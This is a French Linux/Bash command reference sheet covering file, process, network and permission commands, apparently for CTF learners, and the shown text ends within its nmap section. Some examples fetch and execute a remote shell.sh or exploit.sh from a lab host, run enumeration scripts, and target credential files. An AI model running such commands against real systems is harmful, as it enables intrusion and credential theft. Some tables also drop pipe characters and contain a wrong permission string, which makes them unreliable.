

Commandes Linux

Terminal Bash

Du débutant à l'avancé — Guide de référence complet

Raphaël Bouchard-Tremblay

TABLE DES MATIÈRES

1. Navigation & Exploration du système de fichiers

- [pwd](#)
- [ls](#)
- [cd](#)
- [tree](#)

2. Gestion des fichiers et dossiers

- [touch](#)
- [mkdir](#)
- [cp](#)
- [mv](#)
- [rm](#)
- [ln](#)

3. Lecture & manipulation du contenu des fichiers

- [cat](#)
- [less / more](#)
- [head / tail](#)
- [grep](#)
- [find](#)

- [sort](#)
- [uniq](#)
- [cut](#)
- [awk](#)
- [sed](#)
- [wc](#)
- [strings](#)
- [diff](#)

4. Informations système & processus

- [uname](#)
- [ps](#)
- [top](#) / [htop](#)
- [kill](#) / [killall](#)
- [df](#)
- [du](#)
- [free](#)
- [uptime](#)
- [who](#) / [w](#) / [whoami](#)
- [history](#)

5. Encodage, compression & archives

- [file](#)
- [base64](#)
- [tr](#)
- [xxd](#)
- [tar](#)
- [gzip](#) / [gunzip](#)
- [zip](#) / [unzip](#)

6. Permissions & utilisateurs

- [chmod](#)
- [chown](#)
- [sudo](#)
- [useradd](#) / [usermod](#) / [userdel](#)
- [groupadd](#) / [groupdel](#)

7. Réseau & transfert de fichiers

- [ip](#) / [ifconfig](#)
- [ping](#)
- [curl](#)
- [wget](#)
- [ssh](#)
- [scp](#)
- [netstat](#) / [ss](#)
- [smbclient](#)

8. Redirections, pipes & opérateurs

- [|](#)
- [>](#) et [>>](#)
- [&](#) [&&](#) ; [||](#)

9. Répertoires système importants

- /etc
- /var
- /tmp
- /root

10. Nmap — Scan réseau

- nmap

11. Nping — Test de paquets réseau

- nping

12. socat — Couteau suisse réseau

- socat

13. Scapy — Manipulation de paquets réseau

- scapy

14. Nessus — Scan de vulnérabilités

- nessus

15. Commandes avancées & automatisation

- cron / crontab
- env / export
- nc (netcat)
- strace / lsof
- tmux
- alias
- Boucles bash

1. NAVIGATION & EXPLORATION DU SYSTÈME DE FICHIERS

pwd — Afficher le répertoire courant

Affiche le chemin absolu du répertoire dans lequel vous vous trouvez actuellement.

Commande / Option	Description
pwd	Affiche le répertoire courant

Exemples :

```
pwd    # /home/user/Documents
```

ls — Lister les fichiers

Affiche la liste des fichiers et dossiers dans un répertoire.

Commande / Option	Description
ls	Liste les fichiers du répertoire courant
ls -l	Affiche les détails (permissions, taille, date, propriétaire)
ls -a	Affiche tous les fichiers, même cachés (commençant par un point)
ls -lh	Affiche la taille en format lisible (Ko, Mo, Go)
ls -lah	Combine -l, -a et -h
ls -lt	Trie par date de modification (plus récent en premier)
ls -R	Liste récursivement tous les sous-dossiers

Exemples :

```
ls -lah /home/user    # Liste tous les fichiers avec détails
```

```
ls -lt /var/log        # Logs triés par date
```

cd — Changer de répertoire

Permet de se déplacer entre les dossiers du système de fichiers.

Commande / Option	Description
cd nom_du_dossier	Aller dans un dossier (chemin relatif)

<code>cd /chemin/absolu</code>	Aller à un chemin absolu
<code>cd ..</code>	Revenir au répertoire parent
<code>cd ~</code>	Aller dans le dossier personnel de l'utilisateur
<code>cd /</code>	Aller à la racine du système
<code>cd -</code>	Retourner au répertoire précédent

Exemples :

<code>cd /home/user/Documents</code>	# Aller dans Documents
<code>cd ../../etc</code>	# Remonter deux niveaux puis aller dans /etc

tree — Afficher l'arborescence

Affiche la structure d'un répertoire sous forme d'arbre. Installation : `apt install tree`

Commande / Option	Description
<code>tree</code>	Affiche l'arborescence du répertoire courant
<code>tree -L 2</code>	Limite l'affichage à 2 niveaux de profondeur
<code>tree -a</code>	Inclut les fichiers cachés
<code>tree -h</code>	Affiche la taille des fichiers en format lisible

Exemples :

<code>tree -L 2 /var</code>	# Arborescence de /var sur 2 niveaux
-----------------------------	--------------------------------------

2. GESTION DES FICHIERS ET DOSSIERS

touch — Créer un fichier vide

Crée un fichier vide ou met à jour la date d'accès d'un fichier existant.

Commande / Option	Description
<code>touch fichier.txt</code>	Crée un fichier vide
<code>touch fichier1 fichier2</code>	Crée plusieurs fichiers en même temps
<code>touch -t YYYYMMDDHHSS fichier</code>	Définit une date précise de modification

Exemples :

```
touch notes.txt    # Crée notes.txt vide
```

mkdir — Créer un dossier

Crée un ou plusieurs répertoires.

Commande / Option	Description
<code>mkdir dossier</code>	Crée un répertoire simple
<code>mkdir -p a/b/c</code>	Crée toute la hiérarchie si elle n'existe pas
<code>mkdir -m 755 dossier</code>	Crée avec des permissions spécifiques

Exemples :

```
mkdir -p Projet/src/modules    # Crée toute l'arborescence
```

cp — Copier un fichier ou dossier

Copie des fichiers ou dossiers vers une destination.

Commande / Option	Description
<code>cp source dest</code>	Copie un fichier
<code>cp -r dossier/ dest/</code>	Copie récursivement un dossier
<code>cp -i source dest</code>	Demande confirmation avant d'écraser
<code>cp -p source dest</code>	Préserve les permissions et horodatages
<code>cp -u source dest</code>	Ne copie que si source est plus récente

Exemples :

```
cp notes.txt Projet/    # Copie notes.txt dans Projet/
cp -r Projet Projet_backup  # Copie complète du dossier
```

mv — Déplacer ou renommer

Déplace ou renomme des fichiers et dossiers.

Commande / Option	Description
mv source dest	Déplace ou renomme
mv -i source dest	Demande confirmation avant d'écraser
mv -n source dest	Ne déplace pas si dest existe déjà

Exemples :

```
mv notes.txt Projet/    # Déplace notes.txt dans Projet/
mv notes.txt notes_final.txt  # Renomme le fichier
```

rm — Supprimer

Supprime des fichiers ou dossiers. ATTENTION : suppression permanente, sans corbeille.

Commande / Option	Description
rm fichier	Supprime un fichier
rm -r dossier/	Supprime un dossier et tout son contenu
rm -f fichier	Force la suppression sans confirmation
rm -i fichier	Demande confirmation avant chaque suppression
rm -rf dossier/	Suppression forcée et récursive (précaution!)

Exemples :

```
rm -rf /tmp/test_dossier  # Supprime le dossier et son contenu
```

ln — Créer des liens

Crée des liens symboliques ou physiques entre fichiers.

Commande / Option	Description
ln -s cible lien	Crée un lien symbolique (raccourci)
ln cible lien	Crée un lien physique (hard link)

Exemples :

```
ln -s /usr/bin/python3 /usr/local/bin/python # Alias python -> python3
```


3. LECTURE & MANIPULATION DU CONTENU DES FICHIERS

cat — Lire un fichier

Affiche le contenu d'un fichier texte directement dans le terminal.

Commande / Option	Description
cat fichier.txt	Affiche le contenu du fichier
cat -n fichier.txt	Affiche avec numéros de lignes
cat fichier1 fichier2	Affiche plusieurs fichiers à la suite
cat fichier1 > copie.txt	Copie le contenu dans un nouveau fichier

Exemples :

```
cat /etc/passwd # Lire les utilisateurs du système
cat fichier.txt | grep "mot" # Combiner avec grep pour chercher
```

less / more — Lire page par page

Affiche le contenu d'un fichier de façon paginée. less est préféré car on peut remonter.

Commande / Option	Description
less fichier.txt	Lecture interactive avec navigation
more fichier.txt	Lecture basique page par page
less +F fichier.log	Suit le fichier en temps réel (comme tail -f)

Exemples :

```
less /var/log/syslog # Lire le journal système
```

head / tail — Début ou fin d'un fichier

Affiche les premières ou dernières lignes d'un fichier.

Commande / Option	Description
head fichier.txt	Affiche les 10 premières lignes
head -n 20 fichier.txt	Affiche les 20 premières lignes

<code>tail fichier.txt</code>	Affiche les 10 dernières lignes
<code>tail -n 20 fichier.txt</code>	Affiche les 20 dernières lignes
<code>tail -f fichier.log</code>	Suit le fichier en temps réel (journaux en direct)

Exemples :

<code>tail -f /var/log/auth.log</code>	# Surveille les connexions en temps réel
--	--

grep — Rechercher du texte

Trouve des lignes contenant un mot ou motif dans un fichier ou flux.

Commande / Option	Description
<code>grep "mot" fichier.txt</code>	Recherche exacte (sensible à la casse)
<code>grep -i "mot" fichier</code>	Ignorer la casse
<code>grep -r "mot" /chemin/</code>	Recherche récursive dans tous les fichiers
<code>grep -n "mot" fichier</code>	Affiche les numéros de lignes
<code>grep -v "mot" fichier</code>	Lignes qui ne contiennent PAS le mot
<code>grep -E "regex" fichier</code>	Utilise les expressions régulières étendues
<code>grep -l "mot" /chemin/*</code>	Affiche uniquement les noms de fichiers
<code>grep -c "mot" fichier</code>	Compte le nombre de lignes correspondantes

Exemples :

<code>grep -rn "password" /etc/</code>	# Cherche 'password' avec numéros de ligne
<code>grep -E "^root" /etc/passwd</code>	# Lignes commençant par 'root'

find — Rechercher des fichiers

Recherche dans une arborescence selon le nom, type, taille, date, permissions, etc.

Commande / Option	Description
<code>find chemin -name "fichier"</code>	Recherche par nom (sensible à la casse)
<code>find chemin -iname "fichier"</code>	Recherche par nom (insensible à la casse)
<code>find . -type f</code>	Seulement les fichiers
<code>find . -type d</code>	Seulement les dossiers
<code>find . -size +10M</code>	Fichiers de plus de 10 Mo
<code>find . -mtime -7</code>	Modifiés dans les 7 derniers jours
<code>find . -perm 777</code>	Fichiers avec permissions 777
<code>find . -user alice</code>	Fichiers appartenant à l'utilisateur alice

<code>find . -exec commande {} \;</code>	Exécute une commande sur chaque résultat
<code>find / -type f -name "*.conf" 2>/dev/null</code>	Ignore les erreurs de permission

Exemples :

<code>find / -type f -user root -size +100M 2>/dev/null</code>	# Gros fichiers root
<code>find . -type f -size 1234c -exec file {} \;</code>	# Fichiers de taille exacte

sort — Trier des lignes

Trie le contenu d'un fichier ou d'un flux par ordre alphabétique ou numérique.

Commande / Option	Description
<code>sort fichier.txt</code>	Tri alphabétique
<code>sort -n fichier.txt</code>	Tri numérique
<code>sort -r fichier.txt</code>	Tri inversé
<code>sort -u fichier.txt</code>	Tri et suppression des doublons
<code>sort -k2 fichier.txt</code>	Tri sur la 2e colonne

Exemples :

<code>cat /etc/passwd sort -t: -k3 -n</code>	# Trier les utilisateurs par UID
--	----------------------------------

uniq — Supprimer ou compter les doublons

Filtre les lignes identiques successives dans un texte. A utiliser apres sort.

Commande / Option	Description
<code>uniq fichier.txt</code>	Supprime les doublons consécutifs
<code>uniq -c fichier.txt</code>	Affiche le nombre d'occurrences
<code>uniq -u fichier.txt</code>	Affiche uniquement les lignes uniques
<code>uniq -d fichier.txt</code>	Affiche uniquement les lignes dupliquées

Exemples :

<code>sort fichier.txt uniq -c sort -rn</code>	# Compter et trier par fréquence
--	----------------------------------

cut — Extraire des colonnes

Extrait des colonnes ou champs spécifiques d'un fichier texte.

Commande / Option	Description
-------------------	-------------

<code>cut -d: -f1 fichier</code>	Extrait le 1er champ avec le délimiteur :
<code>cut -c1-10 fichier</code>	Extrait les caractères 1 à 10 de chaque ligne
<code>cut -d, -f2,4 fichier.csv</code>	Extrait les colonnes 2 et 4 d'un CSV

Exemples :

<code>cut -d: -f1 /etc/passwd # Liste uniquement les noms d'utilisateurs</code>

awk — Traitement de texte avancé

Outil puissant pour manipuler et analyser des données structurées en colonnes.

Commande / Option	Description
<code>awk '{print \$1}' fichier</code>	Affiche la 1ère colonne
<code>awk -F: '{print \$1}' fichier</code>	Utilise : comme séparateur
<code>awk '/motif/ {print}' fichier</code>	Affiche les lignes contenant un motif
<code>awk '{sum+=\$1} END{print sum}' f</code>	Calcule la somme d'une colonne

Exemples :

<code>awk -F: '{print \$1, \$3}' /etc/passwd # Affiche nom + UID</code>
<code>awk 'NR>1 && \$3 > 1000' /etc/passwd # Utilisateurs non-système</code>

sed — Editeur de flux

Modifie, remplace ou supprime du texte dans un fichier ou un flux.

Commande / Option	Description
<code>sed 's/ancien/nouveau/' fichier</code>	Remplace la 1ère occurrence par ligne
<code>sed 's/ancien/nouveau/g' fichier</code>	Remplace toutes les occurrences
<code>sed -i 's/ancien/nouveau/g' fichier</code>	Modifie directement le fichier
<code>sed -n '5,10p' fichier</code>	Affiche les lignes 5 à 10
<code>sed '/motif/d' fichier</code>	Supprime les lignes contenant le motif

Exemples :

<code>sed 's/password/****/g' log.txt # Masque les mots de passe</code>

wc — Compter lignes, mots, caractères

Compte le nombre de lignes, mots et caractères dans un fichier.

Commande / Option	Description
<code>wc fichier.txt</code>	Affiche lignes, mots et caractères
<code>wc -l fichier.txt</code>	Nombre de lignes uniquement
<code>wc -w fichier.txt</code>	Nombre de mots uniquement
<code>wc -c fichier.txt</code>	Nombre de caractères (octets)

Exemples :

```
cat /etc/passwd | wc -l    # Nombre d'utilisateurs
```

strings — Extraire du texte d'un binaire

Trouve les chaînes de caractères imprimables dans un fichier non texte (binaire, exécutable).

Commande / Option	Description
<code>strings fichier</code>	Extrait toutes les chaînes lisibles
<code>strings -n 8 fichier</code>	Chaînes d'au moins 8 caractères
<code>strings -a fichier</code>	Analyse tout le fichier

Exemples :

```
strings binaire | grep "key"    # Cherche les clés dans un binaire
strings data.txt | grep -n -E '{3,}'    # Cherche les séparateurs ===
```

diff — Comparer deux fichiers

Compare deux fichiers ligne par ligne et affiche les différences.

Commande / Option	Description
<code>diff fichier1 fichier2</code>	Affiche les différences
<code>diff -u fichier1 fichier2</code>	Format unifié (comme git diff)
<code>diff -i fichier1 fichier2</code>	Ignore la casse
<code>diff -r dossier1/ dossier2/</code>	Compare deux dossiers récursivement

Exemples :

```
diff -u config.conf config_new.conf    # Voir les changements
```

4. INFORMATIONS SYSTÈME & PROCESSUS

uname — Informations sur le système

Affiche des informations sur le noyau et le système d'exploitation.

Commande / Option	Description
uname -a	Toutes les informations (kernel, arch, OS)
uname -r	Version du noyau uniquement
uname -m	Architecture (x86_64, ARM, etc.)
uname -n	Nom de la machine (hostname)

Exemples :

```
uname -a    # Linux hostname 6.14.0 #1 SMP x86_64 GNU/Linux
```

ps — Afficher les processus

Affiche les processus en cours d'exécution sur le système.

Commande / Option	Description
ps	Processus de la session actuelle
ps -e	Tous les processus du système
ps aux	Tous les processus avec détails (USER, PID, CPU, MEM)
ps -ef	Format complet de tous les processus
ps aux grep ssh	Filtrer les processus ssh
ps -u utilisateur	Processus d'un utilisateur spécifique

Exemples :

```
ps aux --sort=-%cpu | head -10    # Les 10 processus les plus gourmands en CPU
```

top / htop — Moniteur en temps réel

Affiche les processus actifs et les ressources utilisées en temps réel.

Commande / Option	Description
-------------------	-------------

top	Moniteur de processus natif
htop	Version améliorée de top (apt install htop)
top -u utilisateur	Filtre les processus d'un utilisateur
top -p PID	Surveille un processus spécifique

Exemples :

htop	# Interface interactive colorée (navigable au clavier)
------	--

kill / killall – Terminer des processus

Envoie un signal à un ou plusieurs processus pour les terminer ou les contrôler.

Commande / Option	Description
kill PID	Envoie SIGTERM (arrêt propre)
kill -9 PID	Envoie SIGKILL (arrêt forcé immédiat)
killall nom_processus	Termine tous les processus avec ce nom
pkill nom_processus	Termine par nom (comme killall)

Exemples :

kill -9 \$(pgrep firefox)	# Force la fermeture de Firefox
---------------------------	---------------------------------

df – Espace disque disponible

Affiche l'espace disque disponible et utilisé sur les systèmes de fichiers montés.

Commande / Option	Description
df	Affiche l'espace disque de tous les systèmes
df -h	Format lisible (Ko, Mo, Go)
df -T	Affiche aussi le type de système de fichiers
df /chemin	Espace pour un chemin spécifique

Exemples :

df -hT grep -v tmpfs	# Disques réels sans tmpfs
------------------------	----------------------------

du – Espace utilisé par fichiers/dossiers

Montre la taille occupée par des fichiers ou des dossiers.

Commande / Option	Description
du -h	Format lisible (Ko, Mo, Go)

<code>du -sh dossier/</code>	Taille totale d'un dossier
<code>du -ah</code>	Taille de chaque fichier individuellement
<code>du -sh * sort -h</code>	Taille triée (du plus petit au plus grand)

Exemples :

<code>du -sh /var/log # Taille totale du dossier des logs</code>
<code>du -sh /home/* sort -rh head -5 # Les 5 home les plus lourds</code>

free — Mémoire disponible

Affiche la quantité de mémoire RAM et swap libre et utilisée.

Commande / Option	Description
<code>free</code>	Affiche en octets
<code>free -h</code>	Format lisible (Mo, Go)
<code>free -m</code>	Affiche en mégaoctets

Exemples :

<code>free -h # Voir RAM et swap utilisés/disponibles</code>
--

uptime — Durée de fonctionnement

Affiche depuis combien de temps le système fonctionne et la charge moyenne.

Commande / Option	Description
<code>uptime</code>	Durée de marche + charge CPU
<code>uptime -p</code>	Format lisible (ex: up 2 hours, 30 minutes)

Exemples :

<code>uptime # 14:22:01 up 2 days, 3:14, 1 user, load average: 0.15</code>
--

who / w / whoami — Utilisateurs connectés

Affiche les utilisateurs actuellement connectés au système.

Commande / Option	Description
<code>whoami</code>	Affiche votre nom d'utilisateur actuel
<code>who</code>	Liste les utilisateurs connectés
<code>w</code>	Qui est connecté et ce qu'il fait
<code>id</code>	Affiche l'UID, GID et les groupes de l'utilisateur courant

Exemples :

```
id alice    # uid=1001(alice) gid=1001(alice) groups=1001(alice),27(sudo)
```

history — Historique des commandes

Affiche l'historique des commandes tapées dans le terminal.

Commande / Option	Description
history	Affiche tout l'historique
history 20	Affiche les 20 dernières commandes
history grep ssh	Recherche dans l'historique
!123	Réexécute la commande numéro 123
!!	Réexécute la dernière commande
history -c	Efface tout l'historique

Exemples :

```
history | grep nmap | tail -10    # Derniers scans nmap effectués
```

5. ENCODAGE, COMPRESSION & ARCHIVES

file — Identifier le type d'un fichier

Indique le type de contenu d'un fichier (texte, exécutable, image, archive, etc.).

Commande / Option	Description
<code>file nom_du_fichier</code>	Identifie le type
<code>file ./*</code>	Identifie tous les fichiers du répertoire courant

Exemples :

```
file ./binaire # ELF 64-bit LSB executable, x86-64...
file ./* # Vérifie tous les types dans le dossier courant
```

base64 — Encoder / décoder en Base64

Transforme des données en texte Base64 (encodage courant pour transferts) ou l'inverse.

Commande / Option	Description
<code>base64 fichier</code>	Encode le contenu du fichier en Base64
<code>base64 -d fichier</code>	Décode un fichier Base64
<code>echo 'texte' base64</code>	Encode une chaîne directement
<code>echo 'dGVzdA==' base64 -d</code>	Décode une chaîne Base64

Exemples :

```
cat secret.txt | base64 > encoded.txt # Encode un fichier
base64 -d encoded.txt > decoded.txt # Décode vers un fichier
```

tr — Transformer des caractères

Traduit, remplace ou supprime des caractères dans un flux texte.

Commande / Option	Description
<code>tr 'a-z' 'A-Z'</code>	Convertit minuscules en majuscules
<code>tr -d '0-9'</code>	Supprime tous les chiffres
<code>tr -s ' '</code>	Comprime les espaces multiples en un seul

<code>tr 'A-Za-z' 'N-ZA-Mn-za-m'</code>	Applique le chiffrement ROT13
---	-------------------------------

Exemples :

```
cat fichier.txt | tr 'a-z' 'A-Z' # Tout en majuscules
echo 'Hello' | tr 'A-Za-z' 'N-ZA-Mn-za-m' # Encode/décode ROT13
```

xxd – Afficher un fichier en hexadécimal

Convertit un fichier en représentation hexadécimale, ou l'inverse.

Commande / Option	Description
<code>xxd fichier</code>	Affiche en hexadécimal + ASCII
<code>xxd -r fichier.hex</code>	Reconstruit le binaire depuis l'hexadécimal
<code>xxd -l 64 fichier</code>	Affiche seulement les 64 premiers octets
<code>xxd -p fichier</code>	Hexadécimal uniquement (sans offset ni ASCII)

Exemples :

```
xxd image.png | head -4 # Vérifie le magic number PNG
xxd -r hexa.txt > out.bin # Reconvertit un fichier hex en binaire
```

tar – Archiver des fichiers

Regroupe plusieurs fichiers dans une seule archive (avec ou sans compression).

Commande / Option	Description
<code>tar -cf archive.tar fichiers/</code>	Crée une archive sans compression
<code>tar -czf archive.tar.gz fichiers/</code>	Crée avec compression gzip
<code>tar -cjf archive.tar.bz2 fichiers/</code>	Crée avec compression bzip2
<code>tar -xf archive.tar</code>	Extrait une archive
<code>tar -xzf archive.tar.gz -C /dest/</code>	Extrait vers un dossier spécifique
<code>tar -tf archive.tar</code>	Liste le contenu sans extraire

Exemples :

```
tar -czf backup_$(date +%F).tar.gz /home/user/ # Sauvegarde horodatée
```

gzip / gunzip – Compression .gz

Comprime ou déprime un fichier au format .gz.

Commande / Option	Description
gzip fichier	Comprime (remplace le fichier original)
gunzip fichier.gz	Déprime
gzip -k fichier	Comprime sans supprimer le fichier original

Exemples :

gzip -k data.csv && ls -lh data.csv* # Compare les tailles avant/après

zip / unzip – Archives .zip

Crée ou extrait des archives .zip (format compatible Windows).

Commande / Option	Description
zip archive.zip fichier1 fichier2	Crée une archive zip
zip -r archive.zip dossier/	Archive récursivement un dossier
unzip archive.zip	Extrait l'archive dans le répertoire courant
unzip archive.zip -d /dest/	Extrait vers un dossier spécifique
unzip -l archive.zip	Liste le contenu sans extraire

Exemples :

unzip -l challenge.zip # Voir ce qu'il y a dans le zip

6. PERMISSIONS & UTILISATEURS

chmod — Modifier les permissions

Change les droits d'accès (lecture, écriture, exécution) d'un fichier ou dossier.

Commande / Option	Description
chmod 755 fichier	rw-r--r-x (propriétaire: tout, autres: lire+exécuter)
chmod 644 fichier	rw-r--r-- (propriétaire: lire+écrire, autres: lire)
chmod +x script.sh	Rend le fichier exécutable
chmod -w fichier	Retire le droit d'écriture
chmod -R 755 dossier/	Applique récursivement
chmod u+s fichier	Active le bit SUID (exécute en tant que propriétaire)

Exemples :

```
chmod +x /tmp/exploit.sh && /tmp/exploit.sh # Rend exécutable puis lance
```

chown — Changer le propriétaire

Change le propriétaire et/ou le groupe d'un fichier ou dossier.

Commande / Option	Description
chown utilisateur fichier	Change le propriétaire
chown utilisateur:groupe fichier	Change propriétaire et groupe
chown -R utilisateur:groupe dossier/	Applique récursivement

Exemples :

```
sudo chown www-data:www-data /var/www/html/ # Dossier web pour Apache/Nginx
```

sudo — Exécuter en tant qu'administrateur

Exécute une commande avec les privilèges du super-utilisateur (root).

Commande / Option	Description
-------------------	-------------

<code>sudo commande</code>	Exécute avec les droits root
<code>sudo -u utilisateur commande</code>	Exécute en tant qu'un autre utilisateur
<code>sudo -i</code>	Ouvre un shell root interactif
<code>sudo -l</code>	Liste les commandes autorisées pour votre utilisateur

Exemples :

```
sudo -l    # Voir ce que vous pouvez faire en sudo
```

useradd / usermod / userdel – Gérer les utilisateurs

Crée, modifie ou supprime des comptes utilisateurs Linux.

Commande / Option	Description
<code>sudo useradd -m utilisateur</code>	Crée un utilisateur avec son home
<code>sudo useradd -m -s /bin/bash -G sudo user</code>	Crée avec shell bash et droits sudo
<code>sudo passwd utilisateur</code>	Définit ou change le mot de passe
<code>sudo usermod -aG groupe utilisateur</code>	Ajoute l'utilisateur à un groupe
<code>sudo userdel -r utilisateur</code>	Supprime l'utilisateur et son home

Exemples :

```
sudo useradd -m -c "Admin" -G sudo admin2    # Crée admin2 avec droits sudo
```

groupadd / groupdel – Gérer les groupes

Crée ou supprime des groupes d'utilisateurs.

Commande / Option	Description
<code>sudo groupadd groupe</code>	Crée un groupe
<code>sudo groupdel groupe</code>	Supprime un groupe
<code>cat /etc/group</code>	Liste tous les groupes du système
<code>groups utilisateur</code>	Liste les groupes d'un utilisateur

Exemples :

```
sudo groupadd pentesters && sudo usermod -aG pentesters alice    # Crée groupe et y ajoute alice
```

7. RÉSEAU & TRANSFERT DE FICHIERS

ip / ifconfig – Configuration réseau

Affiche et configure les interfaces réseau (ip remplace ifconfig sur les systèmes modernes).

Commande / Option	Description
ip a	Affiche toutes les interfaces et adresses IP
ip r	Affiche la table de routage
ip link set eth0 up/down	Active ou désactive une interface
ifconfig	Affiche les interfaces (ancienne méthode)

Exemples :

```
ip a | grep inet    # Voir toutes les adresses IP attribuées
```

ping – Tester la connectivité

Envoie des paquets ICMP echo pour tester si une machine est joignable.

Commande / Option	Description
ping hote	Ping en continu
ping -c 4 hote	Envoie 4 paquets seulement
ping -i 0.5 hote	Intervalle de 0.5 secondes entre paquets
ping -s 1000 hote	Taille personnalisée des paquets (octets)

Exemples :

```
ping -c 3 8.8.8.8    # Teste la connectivité Internet via DNS Google
```

curl – Requêtes HTTP/S et transferts

Effectue des requêtes réseau (HTTP, FTP, etc.) depuis le terminal.

Commande / Option	Description
curl URL	Récupère le contenu d'une URL
curl -o fichier URL	Sauvegarde la réponse dans un fichier
curl -I URL	Affiche seulement les en-têtes HTTP

<code>curl -X POST -d 'data' URL</code>	Requête POST avec données
<code>curl -H 'Header: valeur' URL</code>	Ajoute un en-tête personnalisé
<code>curl -u user:pass URL</code>	Authentification basique
<code>curl -k URL</code>	Ignore les erreurs de certificat SSL
<code>curl -L URL</code>	Suit les redirections

Exemples :

<code>curl -s http://10.10.10.10/api/users python3 -m json.tool # API JSON formatée</code>
<code>curl -X POST -d 'user=admin&pass=1234' http://site/login # Test formulaire de connexion</code>

wget — Télécharger depuis Internet

Télécharge des fichiers ou des pages web depuis une URL.

Commande / Option	Description
<code>wget URL</code>	Télécharge dans le répertoire courant
<code>wget -O nom.fichier URL</code>	Choisit le nom du fichier de sortie
<code>wget -r URL</code>	Télécharge récursivement (aspiration de site)
<code>wget -q URL</code>	Mode silencieux
<code>wget -c URL</code>	Reprend un téléchargement interrompu

Exemples :

<code>wget -O linpeas.sh https://github.com/.../linpeas.sh # Télécharge un script d'enum</code>

ssh — Connexion sécurisée à distance

Etablit une connexion chiffrée (SSH) vers une machine distante.

Commande / Option	Description
<code>ssh user@IP</code>	Connexion standard
<code>ssh -p 2222 user@IP</code>	Port SSH personnalisé
<code>ssh -i cle.pem user@IP</code>	Connexion avec clé privée
<code>ssh -L 8080:localhost:80 user@IP</code>	Tunnel local (port forwarding)
<code>ssh -D 9050 user@IP</code>	Proxy SOCKS5 dynamique

Exemples :

<code>ssh -i id_rsa alice@192.168.1.10 # Connexion avec clé privée</code>

```
ssh -L 8080:127.0.0.1:80 user@10.10.10.1 # Accès service interne via tunnel
```

scp – Copie sécurisée via SSH

Copie des fichiers entre machines locales et distantes en utilisant SSH.

Commande / Option	Description
scp fichier user@IP:/dest/	Envoie un fichier vers un serveur
scp user@IP:/src/fichier .	Récupère un fichier depuis un serveur
scp -r dossier/ user@IP:/dest/	Copie un dossier entier
scp -P 2222 fichier user@IP:/dest/	Utilise un port SSH personnalisé

Exemples :

```
scp rapport.txt alice@192.168.1.10:/home/alice/ # Envoi d'un rapport
```

netstat / ss – Connexions réseau actives

Affiche les connexions réseau, ports ouverts et sockets actives.

Commande / Option	Description
ss -tuln	Ports en écoute (TCP/UDP) sans résolution DNS
ss -tulnp	Idem + affiche le processus qui écoute
netstat -tuln	Version ancienne de ss
ss -s	Résumé des statistiques des sockets

Exemples :

```
ss -tulnp | grep :80 # Quel service écoute sur le port 80 ?
```

smbclient – Accéder aux partages Windows (SMB)

Permet de se connecter à des dossiers partagés Windows (SMB/CIFS) depuis Linux.

Commande / Option	Description
smbclient -L //IP	Liste les partages disponibles
smbclient //IP/partage	Se connecte à un partage
smbclient //IP/partage -U user	Connexion avec utilisateur spécifique
smbclient //IP/partage -N	Connexion anonyme (sans mot de passe)

Exemples :

```
smbclient -L //10.10.10.10 -N # Enumération des partages SMB anonymes
```

8. REDIRECTIONS, PIPES & OPÉRATEURS

| – Le pipe (tube)

Passe la sortie d'une commande comme entrée d'une autre commande.

Commande / Option	Description
commande1 commande2	Chaîne la sortie vers une autre commande

Exemples :

```
cat /etc/passwd | grep bash | cut -d: -f1 # Utilisateurs avec Bash
ps aux | sort -k3 -rn | head -5 # Top 5 processus en CPU
```

> et >> – Redirection de sortie

Redirige la sortie d'une commande vers un fichier.

Commande / Option	Description
commande > fichier	Ecrit dans le fichier (REMPLE le contenu)
commande >> fichier	Ajoute à la fin du fichier (sans écraser)
commande 2> erreurs.txt	Redirige les erreurs (stderr) vers un fichier
commande &> tout.txt	Redirige sortie et erreurs vers le même fichier
commande 2>/dev/null	Ignore toutes les erreurs

Exemples :

```
echo "Bonjour" > fichier.txt # Ecrit Bonjour dans fichier.txt
echo "Ligne 2" >> fichier.txt # Ajoute Ligne 2 à la fin
```

& && ; || – Opérateurs de contrôle

Contrôlent l'enchaînement et l'exécution des commandes.

Commande / Option	Description
commande &	Lance la commande en arrière-plan
commande1 && commande2	Exécute commande2 SEULEMENT si commande1 réussit

<code>commande1 commande2</code>	Exécute commande2 SEULEMENT si commande1 échoue
<code>commande1 ; commande2</code>	Exécute les deux, peu importe le résultat

Exemples :

```
mkdir test && cd test    # Crée le dossier et y entre  
apt update && apt upgrade -y    # Met à jour si apt update réussit
```

9. RÉPERTOIRES SYSTÈME IMPORTANTS

/etc — Configuration du système

Contient presque tous les fichiers de configuration du système Linux.

Commande / Option	Description
ls /etc	Voir le contenu de /etc
cat /etc/passwd	Liste les utilisateurs du système
sudo cat /etc/shadow	Mots de passe hashés (root requis)
cat /etc/hosts	Résolution DNS locale
cat /etc/crontab	Tâches planifiées système

Exemples :

```
cat /etc/os-release # Version et distribution Linux
```

/var — Données variables et logs

Contient les données qui changent souvent : logs, caches, bases de données légères.

Commande / Option	Description
ls /var/log	Dossier des journaux système
sudo cat /var/log/syslog	Journal général du système
sudo cat /var/log/auth.log	Journal des authentifications
ls /var/backups	Sauvegardes automatiques

Exemples :

```
tail -f /var/log/auth.log # Surveiller les tentatives de connexion
```

/tmp — Fichiers temporaires

Contient des fichiers temporaires. Effacés au redémarrage. Accessible à tous les utilisateurs.

Commande / Option	Description
ls /tmp	Voir le contenu

echo "test" > /tmp/monfichier.txt	Créer un fichier temporaire
chmod +x /tmp/script.sh	Rendre un script exécutable

Exemples :

wget -q http://10.10.10.10/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh # Télécharge et prépare un script
--

/root – Répertoire du super-utilisateur

Répertoire personnel de l'utilisateur root. Accessible seulement avec les droits administrateur.

Commande / Option	Description
sudo ls /root	Voir le contenu (sudo requis)
sudo cat /root/fichier	Lire un fichier de root
sudo -i	Ouvrir un shell root et accéder à /root directement

Exemples :

sudo ls -la /root # Liste tous les fichiers du répertoire root
--

10. NMAP — SCAN RÉSEAU

nmap — Network Mapper

Outil de scan réseau pour découvrir hôtes, ports ouverts, services, versions et vulnérabilités.

Commande / Option	Description
<code>nmap IP</code>	Scan de base (ports TCP les plus courants)
<code>nmap -sV IP</code>	Détecte les versions des services
<code>nmap -sC IP</code>	Lance les scripts NSE par défaut
<code>nmap -sC -sV IP</code>	Combinaison scripts + versions (classique CTF)
<code>nmap -sC -sV -oN scan.txt IP</code>	Sauvegarde le résultat en format normal
<code>nmap -p 80,443,8080 IP</code>	Scanne des ports spécifiques
<code>nmap -p- IP</code>	Scanne TOUS les ports (1-65535)
<code>nmap -p- --min-rate 5000 IP</code>	Scan complet rapide
